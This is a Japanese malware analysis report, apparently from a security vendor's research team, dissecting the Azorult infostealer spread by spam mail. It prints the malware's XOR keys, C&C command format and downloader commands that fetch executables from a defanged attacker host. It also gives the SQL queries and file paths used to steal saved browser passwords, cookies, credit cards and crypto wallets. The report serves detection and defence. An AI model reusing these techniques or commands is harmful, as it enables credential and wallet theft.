ASEC 分析チームは最近、Azorult インフォスティーラーがスパムメールを通じて拡散していることを確認した。Azorult は C&C サーバーに接続して情報流出行為に使用される DLL とコマンドを受け取った後、ユーザーのアカウント情報およびユーザーデータファイルのような情報を奪取し、C&C サーバーに流出させるインフォスティーラー型マルウェアである。情報流出対象には Web ブラウザ、電子メールクライアント等のアカウント情報以外にも、スクリーンショットやコイン、さらには攻撃者が指定した特定パス内の特定の拡張子を持つファイルも収集対象となる可能性がある。
コマンドの中には追加のマルウェアをダウンロードするためのコマンドもサポートしているが、これによってダウンローダーの役割も実行できる。ここまでのプロセスが終了すると、一般的なマルウェアとは異なり、情報流出およびダウンローダーの振る舞いを行った後に自己削除する。すなわち、Run key 登録のように再起動後も動作させる方式には対応していないが、これはユーザーがマルウェアを認知しないまま動作し、攻撃者の命令を受けて追加の振る舞いを行うという形式ではなく、単純に情報流出を行った後は削除されてしまうという特徴を持っている。もちろん、追加のマルウェアをダウンロードするダウンローダーの役割を実行することによって、中間段階として動作することも可能である。

Azorult は上記のように最近ではスパムメールの添付ファイルを通して拡散しており、「견적의뢰서_공사계획평면도.7z (翻訳:見積依頼書_工事計画平面図.7z)」という名前の圧縮ファイルが収集ファイル名として存在することからして、韓国国内のユーザーも配布対象であることが確認できる。
1. 初期化
Azorult が実行されると、ミューテックスを生成するために、ここで使用される文字列は以下のようなプロセスを通じて作成される。まず、現在のプロセスの権限を取得する。一般的にダブルクリックで実行される場合はエクスプローラ、すなわち explorer.exe の子プロセスとして実行されるため、ユーザー、すなわち User グループに属することになる。管理者権限で実行される場合は Administration グループに属することになり、さらにはシステム権限で実行されることも可能である。以下のような関数では、それぞれに対して S、A、U、G を返す。

そして、MachineGuid、ProductName、UserName、ComputerName および4つの文字列を加えた文字列に対して、それぞれ独自のアルゴリズムを利用し、以下のような形式の文字列を生成する。参考に、この関数はこれ以降にもパケット転送等の時点で継続して使用される。
[Machine Guid ベース]-[Product Name ベース]-[User Name ベース]–[Computer Name ベース]-[4つの文字列ベース] 例) 112xxx26-86C3DFC7-8EBxxx77-DBxxxA24-C539B8C2 |

先に取得した権限を意味する文字列、すなわち S|A|U|G のうちいずれか一つの文字に、上記で取得したユニークな文字列を加えた文字列が、ミューテックス生成に使用される文字列となる。以降、暗号化されている C&C サーバーのアドレスをデコードし、最後に C&C サーバーのリクエスト時に送信するデータを取得する。
このデータは3バイトの XOR キーである 0x0355AE データに前の段階で取得したユニークな文字列を URL エンコードして付け加えたデータである。参考に、C&C サーバーにリクエストする前に、この3バイトの XOR キーでエンコードし、エンコードしたデータを C&C サーバーに伝達する。XOR キーを同時に送信する理由は、C&C サーバーが渡された内容をデコードするための目的である可能性もあるが、C&C サーバーが伝達するデータをそのキーでエンコードすることが目的である可能性もある。

2. コマンドおよび DLL ダウンロード
2.1. デコード
現在の解析対象のマルウェアが C&C サーバーから受け取ったデータは 0x444340、すなわち約 4,369KB サイズのエンコードされたデータである。ここには C&C サーバーのコマンドと情報流出に使用される複数の DLL、そして Azorult が使用する文字列データが含まれている。

エンコードの方式は XOR であり、C&C のリクエスト時に使用された3バイトの XOR と、追加の4バイトの XOR デコードがそれぞれ使用される。以下の図のように、まずエンコードされたデータの最初の 0x80000 サイズをハードコーディングされたキー値の 0x0355AE でデコードする。これは、前段階で C&C サーバーに対するリクエストで実行されたものと同じである。これにより、最初に位置する、すなわち<c>と</c>タグに存在する値である C&C コマンドの全体と一定部分の DLL データまでが復号される。復号の結果は、Base64 でエンコードされた文字列である。

以降は一定部分がデコードされた DLL データ、すなわち、タグ <n> から始まる 0x80000 のサイズとデコードされなかった後半部分の DLL データをタグ </n> まで、4バイト XOR キーでデコードする。ここで使用されるキーは 0xC8653001 である。最後に<d></d>タグに存在する文字列データがあるが、これは C&C コマンドのように XOR キーでデコードされておらず、Base64 のエンコード文字列の形式で存在する。

2.2. デコードされたデータ
a. Command
C&C サーバーのコマンドは<c></c>タグ内に存在し、XOR キーによるデコードの結果、Base64 でエンコードされた文字列であった。これを Base64 でデコードすると、以下のようなコマンドを確認できる。

参考に、現在の解析対象 Azorult 6a4824ab00e63c2f1bbf29a24d78b2a4 は上記のような短いコマンドを受け取るが、別の Azorult c0e0a9d259bbf9faab7fd5049bf6b662 が渡されるコマンドは以下の通りである。

Azorult 1 ] – MD5 : 6a4824ab00e63c2f1bbf29a24d78b2a4 – C&C サーバーアドレス : http://ciuj[.]ir/masab/index.php Azorult 2 ] – MD5 : c0e0a9d259bbf9faab7fd5049bf6b662 – C&C サーバーアドレス : http://jamesrlongacre[.]ug/index.php |
最初の行に位置する+と-の組み合わせ10個は、Azorult に存在する様々な情報流出機能の有効化/無効化を決定するためのフラグである。+は有効化、-は無効化である。それぞれのフラグに関しては情報流出の項目で詳細に説明する。
その次に、F、I、L で始まる行は、それぞれのコマンドを意味している。F のコマンドによってユーザーデータを追加で流出させるための対象パスおよび拡張子等を指定することができ、I はユーザーの IP アドレスのクエリ機能を、最後に L は追加のマルウェアをダウンロードする機能、すなわちダウンローダーとしての役割を担う。各コマンドについては C&C コマンドの項目で説明する。
b. 情報流出機能を担う DLL
DLL は<n></n>タグ内に含まれており、XOR キーでエンコードされていた。上記で説明した XOR のプロセスを経てデコードされた DLL は、以下の図のように[DLL 名]:[DLL バイナリ]<デリミタ>[DLL 名]…の形式で存在する。以下の例を見てみると、DLL のデリミタである「|||<[{99C3}]>|||」より後ろに存在する DLL は、名前が「api-ms-win-core-datetime-l1-1-0.dll」であり、「:」より後ろに実際の DLL バイナリが存在する形式である。

上記のように存在するデコードされた DLL は全部で48個あり、\AppData\Temp\[Unique]\ パスにドロップする。これらの DLL は情報流出を実行する前にロードして使用され、以下がそのリストである。
api-ms-win-core-console-l1-1-0.dll api-ms-win-core-datetime-l1-1-0.dll api-ms-win-core-debug-l1-1-0.dll api-ms-win-core-errorhandling-l1-1-0.dll api-ms-win-core-file-l1-1-0.dll api-ms-win-core-file-l1-2-0.dll api-ms-win-core-file-l2-1-0.dll api-ms-win-core-handle-l1-1-0.dll api-ms-win-core-heap-l1-1-0.dll api-ms-win-core-interlocked-l1-1-0.dll api-ms-win-core-libraryloader-l1-1-0.dll api-ms-win-core-localization-l1-2-0.dll api-ms-win-core-memory-l1-1-0.dll api-ms-win-core-namedpipe-l1-1-0.dll api-ms-win-core-processenvironment-l1-1-0.dll api-ms-win-core-processthreads-l1-1-0.dll api-ms-win-core-processthreads-l1-1-1.dll api-ms-win-core-profile-l1-1-0.dll api-ms-win-core-rtlsupport-l1-1-0.dll api-ms-win-core-string-l1-1-0.dll api-ms-win-core-synch-l1-1-0.dll api-ms-win-core-synch-l1-2-0.dll api-ms-win-core-sysinfo-l1-1-0.dll api-ms-win-core-timezone-l1-1-0.dll api-ms-win-core-util-l1-1-0.dll api-ms-win-crt-conio-l1-1-0.dll api-ms-win-crt-convert-l1-1-0.dll api-ms-win-crt-environment-l1-1-0.dll api-ms-win-crt-filesystem-l1-1-0.dll api-ms-win-crt-heap-l1-1-0.dll api-ms-win-crt-locale-l1-1-0.dll api-ms-win-crt-math-l1-1-0.dll api-ms-win-crt-multibyte-l1-1-0.dll api-ms-win-crt-private-l1-1-0.dll api-ms-win-crt-process-l1-1-0.dll api-ms-win-crt-runtime-l1-1-0.dll api-ms-win-crt-stdio-l1-1-0.dll api-ms-win-crt-string-l1-1-0.dll api-ms-win-crt-time-l1-1-0.dll api-ms-win-crt-utility-l1-1-0.dll freebl3.dll mozglue.dll msvcp140.dll nss3.dll nssdbm3.dll softokn3.dll ucrtbase.dll vcruntime140.dll |
c. 文字列データ
プログラムが特定の機能を実行するためには、コードだけでなく文字列のようなデータが必要であり、これはマルウェアにおいても同様である。プログラムのデータ領域に文字列がそのまま入っている場合は、その文字列だけでマルウェアの機能を容易に把握できてしまうため、ほとんどのマルウェアは文字列がエンコードされた状態で存在し、実行中にデコードして使用する。
Azorult は珍しくこのように不正な行為に使用されるほとんどの文字列をバイナリ自体に持っておらず、C&C サーバーから転送される形をとっている。すなわち、情報流出対象である「GoogleChrome」、「firefox」のような文字列だけでなく、情報流出に使用される API である「sqlite3_open」、「sqlite3_prepare_v2」の文字列、および SQL クエリ文等、ほとんどの文字列をサーバーから転送されることによって受け取っている。
文字列データは XOR キーでエンコードされておらず、<d></d>タグ内に Base64 文字列の形で存在する。この Base64 文字列をデコードすると、以下のように208個の文字列を確認することができる。


3. 情報の奪取
Azorult は情報流出に使用される DLL をデコードしてドロップした後、ロードして情報流出に使用する API のアドレスを取得する。そして、以下のように C&C サーバーから渡された情報流出に関係する Flag に応じて情報を奪取する。フラグは全部で10個あり、それぞれ以下のような機能の有効化/無効化を担当する。
- フラグ : ++++++++-+
順序 | 担当機能 |
0 | 未確認 |
1 | 様々なアプリケーションのアカウント情報 |
2 | Web ブラウザの Cookie および AutoComplete |
3 | Coin |
4 | Skype History |
5 | Telegram |
6 | Steam |
7 | スクリーンショット |
8 | 自己削除 |
9 | Web ブラウザの History |
参考に、ファイルはメモリ上で ZIP 形式の圧縮ファイル形式で保存される。ファイルの形でドロップするのではなく、メモリ上にのみ存在する形だが、C&C サーバーに送信する前に zip 形式の圧縮ファイルをメモリ上で抽出したところ、以下のように取得した情報のリストを確認できる。
\ …. \Browsers\ …….. \Browsers\Cookies\ …….. \Browsers\AutoComplete …….. \Browsers\History\ …. \Skype\ …. \Telegram\ …. \Steam\ …….. \Steam\Config\ …. \Files\ …….. \Files\ユーザー指定パス\情報流出対象データ …. PasswordsList.txt …. CookieList.txt …. Scr.jpg …. ip.txt …. System.txt |

3.1. アカウント情報
– zip ファイルの保存先:\PasswordsList.txt
Azorult は様々なプログラムのアカウント情報を奪取し、その対象プログラムは以下の通りである。参考に、Cookie、History 等のように Web ブラウザの項目で取り上げている Chromium および Mozilla ベースの Web ブラウザは、以下の対象と同じである。
a. Web ブラウザ
– 対象プログラム:Internet Explorer, Vault(最新バージョンの IE および過去バージョンの Edge を含む), Chromium ベースの Web ブラウザ( GoogleChrome、GoogleChrome64、InternetMailRu、YandexBrowser、ComodoDragon、Amigo、Orbitum、Bromium、Chromium、Nichrome、RockMelt、360Browser、Vivaldi、Opera、GoBrowser、Sputnik、Kometa、 Uran、QIPSurf、Epic、Brave、CocCoc、CentBrowser、7Star、ElementsBrowser、TorBro、Suhba、SaferBrowser、Mustang、Superbird、Chedot、Torch )、Mozilla ベースの Web ブラウザ( MozillaFireFox、Waterfox、IceDragon、Cyberfox、PaleMoon )
Internet Explorer バージョン7/8、すなわち過去バージョンでは、AutoComplete パスワードがレジストリ HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 に保存されていた。このキーの Value はアカウント情報に相応する Web サイトの URL に対するハッシュ値であり、この Value の Data がアカウント情報である。Data は DPAI を利用してエンコードされているが、これをデコードするためには、まずこのキーがどの Web サイトにマッチするのかを把握しなければならない。
これを確認するために、Azorult は以下のように CUrlHistory COM オブジェクトを利用して IE の History を取得する。
– CUrlHistory CLSID : 3C374A40-BAE4-11CF-BF7D-00AA006946EE
– IUrlHistoryStg2 IID : AFA0DC11-C313-11d0-831A-00C04FD5AE38

このようにして IE History で取得した URL を使用して \IntelliForms\Storage2 に保存された値を CryptUnprotectData() API を利用して求める方式により、IE に保存されたユーザーアカウント情報を獲得する。次に、Windows Vault に保存された Web ブラウザ、Edge のアカウント情報を奪取する。

Chromium ベースの Web ブラウザから Google Chrome を例に挙げると、\AppData\Local\Google\Chrome\User Data\Default\Login Data ファイルに対して、以下のような SQL クエリ文を使用してアカウント情報を抽出する。
> SELECT origin_url, username_value, password_value FROM logins

Mozilla ベースの Web ブラウザから Mozilla Firefox を例に挙げると、\AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release のようなパスに存在する logins.json ファイルを読み込む。このファイルはテキスト形式で、hostname、encryptedUsername、encryptedPassword のような項目に対して文字列を構文解析する。encryptedUsername と encryptedPassword は Base64 でエンコードされた文字列であり、これをデコードした結果に対して nss3.dll の PK11_GetInternalKeySlot()、PK11_Authenticate()、PK11SDR_Decrypt() 等の関数で復号化し、オリジナルのアカウント情報を取得できる。
b. 電子メールクライアント
– 対象プログラム : Outlook, Thunderbird
Thunderbird は Mozilla ベースのため、上記の Firefox で述べたものと同じ方式が使用される。Outlook は以下のようなレジストリキーにおいて、EMAIL、POP3、IMAP、SMTP、HTTP のような値を抽出する。

c. その他
– インスタントメッセンジャー対象プログラム:Psi+、Pidgn
– FTP クライアント対象プログラム:FileZilla、WinSCP

3.2. Web ブラウザの Cookie
– zip ファイルの保存先:\CookieList.txt、\Browsers\Cookies\[流出対象ファイル].txt
Cookie および AutoFill フラグが有効になっている場合、IE、Edge、Chromium ベースと Mozilla ベースの Web ブラウザの Cookie ファイルを奪取する。IE と Edge については、以下のパスから *.txt ファイルと *.cookie ファイルを奪取する。
\AppData\Roaming\Microsoft\Windows\Cookies\ \AppData\Roaming\Microsoft\Windows\Cookies\Low\ \AppData\Local\Microsoft\Windows\INetCache\ \AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\INetCookies\ \AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC#!001\MicrosoftEdge\Cookies\ \AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC#!002\MicrosoftEdge\Cookies\ \AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cookies\ |
Chromium ベースの Web ブラウザから Google Chrome を例に挙げると、\AppData\Local\Google\Chrome\User Data\Default\Cookies ファイルに対して、以下のような2つの SQL クエリ文から1つのクエリ文を使用して情報を抽出する。
> SELECT host_key, name, encrypted_value, value, path, secure, (expires_utc/1000000)-11644473600 FROM cookies
> SELECT host_key, name, name, value, path, secure, expires_utc FROM cookies
Mozilla ベースの Web ブラウザから Mozilla Firefox を例に挙げると、\AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release のようなパスに存在する cookies.sqlite ファイルに対し、以下のような SQL クエリ文を使用して情報を抽出する。
> SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
3.3. Web ブラウザの AutoComplete
– zip ファイルの保存先:\Browsers\AutoComplete\[流出対象ファイル].txt
Cookie および AutoFill フラグが有効になっている場合、Chromium ベースと Mozilla ベースの Web ブラウザの AutoFill 記録を奪取する。Chromium ベースの Web ブラウザから Google Chrome を例に挙げると、\AppData\Local\Google\Chrome\User Data\Default\Web Data ファイルに対して、以下のような SQL クエリ文を使用して情報を抽出する。
> SELECT name, value FROM autofill
Chromium ベースの Web ブラウザでは、更に CreditCard 情報も奪取対象となる。同様に \AppData\Local\Google\Chrome\User Data\Default\Web Data ファイルに対して、以下のような SQL クエリ文を使用して情報を抽出する。
> SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted value FROM credit_cards
Mozilla ベースの Web ブラウザから Mozilla Firefox を例に挙げると、\AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release のようなパスに存在する formhistory.sqlite ファイルに対し、以下のような SQL クエリ文を使用して情報を抽出する。
> SELECT fieldname, value FROM moz_formhistory
3.4. Web ブラウザの History
– zip ファイルの保存先:\Browsers\History\[流出対象ファイル].txt
History フラグが有効になっている場合、Chromium ベースと Mozilla ベースの Web ブラウザの History 記録を奪取する。Chromium ベースの Web ブラウザから Google Chrome を例に挙げると、\AppData\Local\Google\Chrome\User Data\Default\History ファイルに対して、以下のような SQL クエリ文を使用して情報を抽出する。
> SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\”unixepoch\”) , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000
Mozilla ベースの Web ブラウザから Mozilla Firefox を例に挙げると、\AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release のようなパスに存在する places.sqlite ファイルに対し、以下のような SQL クエリ文を使用して情報を抽出する。
> SELECT DATETIME(moz_historyvisits.visit_date/1000000, \”unixepoch\”, \”localtime\”),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000

3.5. 仮想通貨ウォレット
– zip ファイルの保存先 : \Coins\autoscan\, \Coins\Monero\
Coin フラグが有効になっている場合、様々な種類の仮想通貨それぞれに対してウォレットファイルを奪取する。まず、\Coins\autoscan\ フォルダーに保存されるファイルは \AppData\Roaming\ フォルダー内のパスを照会し、以下のような条件に一致するファイルを対象とする。
– “.wallet”, “wallets\.wallet”, “wallet.dat”, “wallets\wallet.dat”, “electrum.dat”, “wallets\electrum.dat”
次に、\Coins\Monero\ フォルダーに保存されるファイルは、まず HKCU\Software\monero-project\monero-core キーの wallet_path データを参照してパスを取得した当該ファイルと、そのファイル名に .address.txt が付け加えられた名前のファイル、そして .keys が付け加えられた名前のファイルを対象とする。以降、以下のようなレジストリキーにおいて strDataDir データを参照して取得したパスから wallet.dat ファイルおよび \wallets\wallet.dat ファイルも奪取する。
HKCU\Software\Bitcoin\Bitcoin-Qt HKCU\Software\BitcoinGold\BitcoinGold-Qt HKCU\Software\BitCore\BitCore-Qt HKCU\Software\Liteoin\Litecoin-Qt HKCU\Software\BitcoinABC\BitcoinABC-Qt |
最後に、\AppData\Roaming\Electrum\wallets\ のように \AppData\Roaming\ にそれぞれのパスで位置している以下のような仮想通貨のウォレットファイルを奪取する。
– Electrum, Electrum-LTC, ElectrumG, Electrum-btcp, Ethereum, Exodus, Exodus Eden, Jaxx, MultiBitHD
3.6. Skype
– zip ファイルの保存先 : \Skype\
Skype フラグが有効になっている場合、\AppData\Roaming\Skype\ パスから main.db ファイルを奪取する。Skype 使用時の各種ログは main.db ファイルに保存されるものであると知られており、このファイルが存在する場合、特定のツールを利用することで関連内容を復旧することができる。すなわち、攻撃者が main.db ファイルを奪取すると、ユーザーの Skype 会話記録のような関連情報が攻撃者に流出してしまう恐れがある。

3.7. Telegram
– zip ファイルの保存先 : \Telegram\
Telegram フラグが有効になっている場合、\AppData\Roaming\Telegram Desktop\tdata\ パスに存在する「D877F783D5」から始まるファイルと「map」から始まるファイルを奪取する。これらのファイルは Telegram PC バージョンに存在するセッション関連の設定ファイルであり、攻撃者によりセッション奪取攻撃に利用される可能性があるものとして知られている。

3.8. Steam
– zip ファイルの保存先 : \Steam\Config\[*.vdf], \Steam\[ssfn*]
Steam フラグが有効になっている場合、HKCU\Software\Valve\Steam キーの SteamPath の値を参照してパスを取得したあと、そのパスに存在する「ssfn*」ファイルと内部 Config フォルダーに存在する「*.vdf」ファイルを奪取する。これらのファイルは Steam クライアントのセッションおよび設定情報を含んでいるファイルであり、攻撃者はこのファイルを利用して Steam アカウントにアクセスすることができる。

3.9. スクリーンショット
– zip ファイルの保存先 : \scr.jpg
スクリーンショットフラグが有効になっている場合、現在の画面のスクリーンショットを撮影して圧縮ファイルに scr.jpg という名前で保存する。
3.10. システム情報
– zip ファイルの保存先 : \System.txt
Azorult は C&C コマンドに関係なく、デフォルトで複数システム情報を取得して流出させる。流出させる情報は以下の通りである。
MachineID、マルウェアのパス、Windows バージョン、コンピュータ名、解像度、言語、時間、Time Zone、CPU モデル、CPU 個数、RAM のサイズ、Video カード情報、現在実行中のプロセスリスト、インストールされたプログラムリスト |

4. C&C コマンド
4.1. コマンド – F
– zip ファイルの保存先:\Files\[ユーザー指定パス]\[流出対象ファイル].txt
F コマンドはユーザー PC のファイルを収集するコマンドであり、パスや拡張子等の設定を同時に受け取る。以下は、実際に C&C サーバーから受け取った F コマンドのうち2つの例である。

F コマンドは以下のようなフォーマットを有する。
[ F \t <圧縮ファイル名> \t <パス> \t <拡張子> \t <最大サイズ> \t <サブフォルダー> \t <ショートカット> \t <例外パス> ]
F コマンドによって収集されたファイルは圧縮ファイル内部の Files\ パスに位置し、コマンドで指定した圧縮ファイル名のフォルダーに保存される。例えば、最初のコマンドは DOC TXT フォルダーにデータが保存される。パスは %USERPROFILE% のような環境変数と「DSK_」から始まるドライブのパスに対応している。ルートパスを指定して GetDriveTypeA() 関数を呼び出すと当該パスのドライブのタイプを返すことができるが、2は USB のようなリムーバブルメディアを意味し、3は一般的なドライブ、5は CD-ROM ドライブを意味する。これにより、上記の例において %DSK_23% は一般的なハードドライブと USB ドライブをファイル流出対象とすることを意味している。

3番目の項目は収集対象ファイルの拡張子であり、4番目は KB 単位の収集ファイルの最大サイズである。その次は +|- フラグ2つが存在するが、1つ目はサブディレクトリまでをファイル収集対象とするかどうかを指定し、2つ目はショートカットファイル、すなわち .lnk ファイルを収集対象とするかどうかを指定する。最後に存在するキーワードは、情報流出対象から例外処理するフォルダーのパス名である。
4.2. コマンド – L
上記で述べた別の種類の Azorult は、以下のような L コマンドを受け取った。
L http://jamesrlongacre[.]ug/ds2.exe – * L http://jamesrlongacre[.]ug/ds1.exe – * L http://jamesrlongacre[.]ug/rc.exe – * L http://jamesrlongacre[.]ug/ac.exe – * |
L コマンドは、<L> \t <URL> \t <+|-> \t <*|URL> の形で実行される。3番目の項目の +|- フラグはダウンロードしたファイルの実行時における SW_HIDE フラグの可否を指定する。+ の場合は SW_HIDE、すなわち隠し属性で実行する。
4番目の項目は二つのファイルのどちらも * をコマンドとして受け取っているが、特定の URL を受け取る場合がある。そして、現在の Cookie リストにおいて該当するキーワードが含まれている場合にのみ、追加のマルウェアのダウンロードを実行する。現在のコマンドである * の場合は Cookie とは関係なくダウンローダーの役割を実行する。以下は「AHNLAB」というキーワードを受け取ったという仮定のもと、Cookie リストから当該キーワードをチェックするルーティンである。

ダウンロードされるファイルは Temp パスにその URL の名前で保存され、すでに同じ名前のファイルが存在する場合は ProgramData パスにダウンロードする。そしてダウンロードしたファイルの拡張子が .exe の場合は CreateProcessW() 関数を利用し、そうでない場合は ShellExecuteExW() 関数を利用して実行させる。上記のプロセスは、それぞれの L コマンドについて繰り返し実行する。

4.3. コマンド – I
– zip ファイルの保存先 : \ip.txt
現在の C&C サーバーから受け取った I コマンドは、感染 PC の IP アドレスと国コードが存在する形式であった。この場合は、簡単に受け取った情報を ip.txt ファイルとして保存する。
I xxx.xxx.xx7.166:KR |
I コマンドに感染 PC の IP および国コード情報が存在しない場合、すなわち「?」を受け取った場合、http://ip-api.com/json にクエリして情報を取得したあと、構文解析して ip.txt ファイルに保存する。

5. 収集した情報の流出
Azorult は情報獲得プロセスがすべて完了すると以下のように C&C サーバーに伝達するパケットを生成する。パケットは以下のような構造で作成され、zip ファイルより前に付けられる文字列はすべて URL エンコードされている。デリミタは文字列 『2C5A87CB-758C-7293-47BC-475C65D699A584C5-7DC6-DC45-12A47C7DB587-F89F-78CD-96CA-FD478543C7F4』であり、バイナリ上にハードコーディングされている。
<システム情報> [デリミタ][デリミタ] <奪取したアカウント情報> [デリミタ][デリミタ] <奪取した Cookie 情報> [デリミタ][デリミタ] <圧縮ファイル>

以降、C&C コマンドを復号したときと同じく、最初の 0x80000 のサイズを3バイトの XOR キーでデコードする。ここで使用されるキーは、同じように 0x0355AE である。このようにして XOR エンコードされたデータをサーバーに送信すると、以前に渡された L コマンドを利用してダウンローダーの行為を実行する。

ここまでのプロセスがすべて完了すると、生成した DLL とそれらの DLL が位置する Temp パス内のフォルダーを削除する。最終的に C&C コマンドによって自己削除が実行されるため、Azorult マルウェアの痕跡が確認できない場合もある。
6. 結論
Azorult マルウェアはスパムメールを通じて拡散しているため、ユーザーは疑わしいメールを受信した場合、添付ファイルを開かないようにしなければならない。また、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。
[ファイル検知]
– Trojan/Win32.Kryptik.C4217978
– Malware/Win32.RL_Generic.R354530
[ビヘイビア検知]
– Malware/MDP.Behavior.M3108
[IOC]
– ファイル
6a4824ab00e63c2f1bbf29a24d78b2a4
c0e0a9d259bbf9faab7fd5049bf6b662
– C&C アドレス
hxxp://ciuj[.]ir/masab/index.php
hxxp://jamesrlongacre[.]ug/index.php
Categories:マルウェアの情報